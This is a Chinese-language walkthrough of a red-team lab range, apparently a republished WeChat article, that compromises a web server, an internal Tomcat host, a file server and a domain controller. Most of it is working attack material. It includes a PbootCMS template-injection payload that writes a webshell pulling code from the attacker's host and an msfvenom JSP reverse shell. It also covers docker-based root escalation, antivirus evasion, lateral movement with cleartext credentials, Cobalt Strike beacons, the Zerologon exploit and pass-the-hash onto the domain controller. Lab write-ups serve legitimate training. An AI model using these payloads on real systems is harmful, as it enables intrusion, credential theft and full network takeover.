暗月实战项目八FBI
2021-08-04 13:55:22 Author: mp.weixin.qq.com(查看原文) 阅读量:380 收藏

暗月实战项目八FBI
作者 moonsec

1. 项目八FBI简介 2

2. 靶场搭建 3

3. 信息收集 7

  3.1. masscan端口扫描 7

  3.2. nmap端口扫描与探查 8

  3.3. 端口信息整理 9

  3.4. 绑定域名hosts 9

4. 测试BOOTCMS安全 10

  4.1. 查看cms版本 10

  4.2. 下载备份文件 11

    4.2.1. 下载SQLITE数据库文件 11

  4.3. Sqlitebrowser 读取数据库密文 11

  4.4. 登录后台拿WEBSHELL 12

5. 绕过宝塔disable_functions 13

6. 通过密钥登录SSH 15

7. 利用docker提权root 16

8. 渗透内网WEB服务器 17

    8.1.1. 在cf1安装nmap对内网进行主机发现 17

    8.1.2. nmap扫主机端口 17

  8.2. 登录后台GETHSELL 19

  8.3. metasploit 生成jsp shell 21

  8.4. 生成免杀bypassAV 22

9. 对tomcat-web 内网服务器信息收集 25

  9.1. MSF 后门Bypass defender 26

  9.2. 防火墙拦截 27

    9.3. ipc空链接 访问FILESERVER服务器 27

10. metasploit shellcode 免杀过defender和360

    10.1. 开启tomcat服务器远程终端

    10.2. 绕过CredSSP错误信息

    10.3. 破解tomcat服务器管理员hash

 11. 添加ipsec入站规则

    11.1. sc复制文件到文件服务器

    11.2. at命令执行文件

    11.3. schtasks命令执行失败

    11.4. Metasploit反像连接session

    11.5. Cobalt sctike 反向连接后门

 12. 对ad(域)网段进行信息收集

    12.1. Nmap跨网段扫描AD域控端口

     Meterperter添加路由

    12.2. Impacket secretsdump获取域控哈希

    12.3. Impacket smbexec.py登录域控

    12.4. 得到最终得flag

 13. 培训网站

1. 项目八FBI简介

本次靶场是一个高度安全的域控环境,存在多个防火墙,所以存在多个dmz,能有效隔离保护各个工作区。红队测试人员需要从互联网从对外网WEB服务器进行测试再进入内网服务器,进行资产收集,再渗透核心区域,打穿AD域控,拿到域控的权限。本次靶场测试用到很多内网穿透技术,绕过杀软等红队技术。

2. 靶场搭建

Ubuntu18.04选择桥接

Tomcat-web

文件服务器windwos server 2016

Windows Server 2019-DC

3. 信息收集
3.1 masscan端口扫描
sudomasscan --ports 0-65535 192.168.0.121 --rate=500
Scanning1 hosts [65536 ports/host]Discoveredopen port 22/tcp on 192.168.0.121Discoveredopen port 8888/tcp on 192.168.0.121Discoveredopen port 80/tcp on 192.168.0.121Discoveredopen port 3306/tcp on 192.168.0.121Discoveredopen port 21/tcp on 192.168.0.121Discoveredopen port 888/tcp on 192.168.0.121
3.2 nmap端口扫描与探查
sudonmap -sS -p 1-65535 -v 192.168.0.121 -oA all-port

详细版本信息

sudonmap -sC -A -p 21,22,80,888,3306,888 192.168.0.121 -oA port-version
PORT STATE SERVICE VERSION21/tcp open ftp Pure-FTPd|ssl-cert: Subject:commonName=116.27.230.199/organizationName=BT-PANEL/stateOrProvinceName=Guangdong/countryName=CN|Not valid before: 2020-10-28T04:54:10|_Notvalid after: 2030-07-28T04:54:10|_ssl-date:TLS randomness does not represent time22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux;protocol 2.0)|ssh-hostkey:| 2048 de:fe:58:1c:ed:ef:1d:4f:56:9e:b8:1e:71:4d:86:70 (RSA)| 256 dc:5b:05:fa:fc:87:d5:f7:97:0a:13:04:fa:23:f0:9b (ECDSA)|_ 256 47:ac:04:b5:4e:1d:a4:c9:c7:b0:7e:55:dd:26:96:2a (ED25519)80/tcp open http Apache httpd|_http-server-header:Apache|_http-title:\xE6\xB2\xA1\xE6\x9C\x89\xE6\x89\xBE\xE5\x88\xB0\xE7\xAB\x99\xE7\x82\xB9888/tcp open http Apache httpd|_http-server-header:Apache|_http-title:403 Forbidden3306/tcpopen mysql MySQL (unauthorized)MACAddress: 00:0C:29:98:32:C7 (VMware)Warning:OSScan results may be unreliable because we could not find at least 1open and 1 closed portAggressiveOS guesses: Linux 2.6.32 (96%), Linux 3.2 - 4.9 (96%), Linux 2.6.32 -3.10 (96%), Linux 3.4 - 3.10 (95%), Linux 3.1 (95%), Linux 3.2 (95%),AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), SynologyDiskStation Manager 5.2-5644 (94%), Netgear RAIDiator 4.2.28 (94%),Linux 2.6.32 - 2.6.35 (94%)Noexact OS matches for host (test conditions non-ideal).NetworkDistance: 1 hopServiceInfo: Host: 0b842aa5.phpmyadmin; OS: Linux; CPE:cpe:/o:linux:linux_kernel
TRACEROUTEHOPRTT ADDRESS1 0.75 ms 192.168.0.121
3.3 端口信息整理

端口

版本信息

21

Pure-FTPd

22

OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0

80

默认页面 宝塔套件信息

888

403 Forbidden

8888

宝塔后台登录提示

3306

mysql

3.4 绑定域名hosts

访问IP根据提示绑定www.cf1.com到192.168.0.121

sudo vi /etc/hosts

访问

4. 测试BOOTCMS安全
4.1 查看cms版本

cms的渗透思路

确定cms版本查看升级说明 特别是漏洞公告 然后进行文件对比定位漏洞 分析漏洞与补丁

http://www.cf1.com/doc/ChangeLog.txt
4.2 下载备份文件

用备份扫描器获取备份文件

http://www.cf1.com/config.tar.gzhttp://www.cf1.com/config/database.php~
4.2.1 下载SQLITE数据库文件

Bootcms默认数据库是sqlite默认下载

data/pbootcms.db

查看config.php发现默认db位置已经修改

data/c6613b090db86e60916afb3af6f923d2.db
4.3 Sqlitebrowser 读取数据库密文
sqlitebrowser c6613b090db86e60916afb3af6f923d2.db

CMD5解密密文是 admin7788

账号

密码

明文

admin

14e1b600b1fd579f47433b88e8d85291

admin7788

4.4 登录后台拿WEBSHELL

在公司信息填写

{pboot:if(implode('',['f','i','l','e','_','p','u'.'t','_c','o','n','t','e','n','t','s'])(implode('',['2','.php']),implode('',['<?phpfile_','put_','contents(','"moon.php",','file','_get_','contents("','http://192.168.0.180/2.txt"))?>'])))}!!!{/pboot:if}

在本地生成一个2.php文件再去访问2.php会根目录下生成moon.php

5. 绕过宝塔disable_functions
利用php7-backtrace-bypass
https://github.com/mm0r1/exploits

发现存在用户

cf1:x:1000:1000:CF1,,,:/home/cf1:/bin/bash
6. 通过密钥登录SSH

复制私钥id_rsa设置权限

chmod 600 id_rsa
ssh -i id_rsa cf1@192.168.0.121
7. 利用docker提权root
docker run -v /etc:/mnt -it alpine

增加root用户

opensslpasswd -1 --salt moonsec$1$moonsec$.VXUP/Jd9iJIiqrZv/vyj1

往passwd增加用户信息

sumoonsec 切换用户即可获取root权限

8. 渗透内网WEB服务器
8.1.1 在cf1安装nmap对内网进行主机发现
nmap-sn 192.168.0.0/24 -T4

对内网整个段主机发现

8.1.2 nmap扫主机端口
root@08:/tmp#nmap -F 192.168.0.124

StartingNmap 7.60 ( https://nmap.org ) at 2020-11-07 12:20 CSTNmapscan report for 192.168.0.124Hostis up (-0.15s latency).Notshown: 98 filtered portsPORT STATE SERVICE3306/tcpopen mysql8080/tcpopen http-proxyMACAddress: 00:0C:29:E7:BD:FC (VMware)
8.2 访问8080端口

登录后台GETHSELL

后台弱口令123456

http://192.168.0.124:8080/cmscp/

创建穿越漏洞压缩文件

importzipfile

if__name__ == "__main__":try:binary =b'<script>alert("helloworld")</script>'zipFile = zipfile.ZipFile("test5.zip","a", zipfile.ZIP_DEFLATED)info = zipfile.ZipInfo("test5.zip")zipFile.writestr("../../../moonsec.html",binary)zipFile.close()except IOError as e:raise e

将war文件后门加入目录压缩包内

上传文件解压后没任何文件生成估计被杀软拦截了。

项目可以过杀软的

https://github.com/SecurityRiskAdvisors

上传后解压自动解压到

http://192.168.0.124:8080/cmd/cmd.jsp

新建html引用加载代码

<scripttype="text/javascript" src="a.js"></script>

能够执行命令了但是执行其他命令失败 上传文件也失败

8.3 metasploit 生成jsp shell

网上很多war都被系统自带的杀软查刚好发现msf自带得jsp可以绕过。

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.180 LPORT=8888 -f raw> shell.jsp

创建文件夹WEB-INF

web.xml文件内容

<?xmlversion="1.0" encoding="ISO-8859-1" ?>

<web-appxmlns="http://java.sun.com/xml/ns/j2ee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://java.sun.com/xml/ns/j2eehttp://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"version="2.4">

<display-name>Main</display-name><description>Shell</description>

<servlet><servlet-name>shell</servlet-name><jsp-file>/shell.jsp</jsp-file></servlet>

<servlet-mapping><servlet-name>shell</servlet-name><url-pattern>/shell</url-pattern></servlet-mapping>

</web-app>
Jar-cvf shell.war. shell.jsp

打包成war包

Metasploit监听jsp

msf5> use exploit/multi/handler[*]Using configured payload generic/shell_reverse_tcpmsf5exploit(multi/handler) > set payload java/jsp_shell_reverse_tcpmsf5exploit(multi/handler) > set lhost 192.168.0.180lhost=> 192.168.0.180msf5exploit(multi/handler) > set lport 8888lport=> 8888msf5exploit(multi/handler) > set shell cmd.exeshell=> cmd.exemsf5exploit(multi/handler) > exploit

得到seesion权限是管理员

8.4 生成免杀bypassAV

简单收集一下进行发现存在数个杀软

生成的exe目前可以过defender和360全套

但是执行没有返回shell估计是被行为拦截了。

研究了一下过了

9. 对tomcat-web 内网服务器信息收集

内网段存活主机

9.1 MSF 后门Bypass defender

现在可以在metasploit下操作了

添加路由开启socks4a

9.2 防火墙拦截

nmap对10.10.1.128对其端口扫描发现只允许开放445端口

9.3 ipc空链接 访问FILESERVER服务器

可以访问到文件服务器。

10. metasploit shellcode 免杀过defender和360
10.1 开启tomcat服务器远程终端
10.2 绕过CredSSP错误信息

出现这种情况用同样版本的或者是win2016的主机链接就能解决

10.3 破解tomcat服务器管理员hash
11. 添加ipsec入站规则

在添加规则之前要登录系统把360安全卫士关掉,不然会进行netsh拦截

shell netsh interface portproxy add v4tov4listenport=7788 connectaddress=192.168.0.130 connectport=7788

查看规则

netsh interface portproxy show all
11.1 sc复制文件到文件服务器
11.2 at命令执行文件

查看时间

net time   \\10.10.1.128

执行任务

shell at time \\10.10.1.128 22:59:00 c:/windows/temp/rve.exe

at命令已经没用

11.3 schtasks命令执行失败
shell SCHTASKS /Create /S 10.10.1.128 /u administrator /p QWEasd123 /SCONCE /ST 23:40 /TN test1 /TR c:\windows\temp\rve.exe /RU system
11.4 Metasploit反像连接session
PsExec.exe \\10.10.1.128 -u administrator -pQWEasd123 -i c:\\windows\\temp\\rve.exe
11.5 Cobalt sctike 反向连接后门

Cobaltsctik 设置监听器

tomcat-web Beacon 添加转发规则

shell netsh advfirewall firewall add rule name="1234"protocol=TCP dir=in localport=1234 action=allow

在fileserver上的meterpreter 上传生成后的后门执行即可

返回fileserver的会话接下来再对 10.10.10.140段再进行内网渗透

12. 对ad(域)网段进行信息收集

网卡信息

在域内

无法列

列域错误

shell arp -a

名字为dc

12.1 Nmap跨网段扫描AD域控端口
Meterperter添加路由
run autoroute -p 10.10.10.0/24
proxychains nmap -sT -Pn 10.10.10.139 -v

看到端口信息可以确定这台是域控

CVE-2020-1472:NetLogon 打穿域控

proxychains ./CVE-2020-1472.py dc dc$ 10.10.10.139

存在漏洞可以进行利用 密码重置成空

12.2 Impacket secretsdump获取域控哈希

Impacket下载最新得版本

python setup.py installl
proxychains python3 secretsdump.py fbi/dc\$10.10.10.139 -just-dc -hashes :
12.3 Impacket smbexec.py登录域控
proxychains python3 smbexec.py -hashesaad3b435b51404eeaad3b435b51404ee:669a3273144a82b942377c1001ed03a3administrator@10.10.10.139
12.4 得到最终得flag
13. 培训网站

暗月安全培训https://edu.moonsec.com

扫码关注我们

文章来源: http://mp.weixin.qq.com/s?__biz=MzA4MDMwMjQ3Mg==&mid=2651867422&idx=1&sn=5ea61cac357180e8a875f85995f8bdcf&chksm=8442b1f9b33538ef9cebd606498a106bba2d0133a001b1bc8b96c2eb170e7c41f4cb1436b39b#rd
如有侵权请联系:admin#unsafe.sh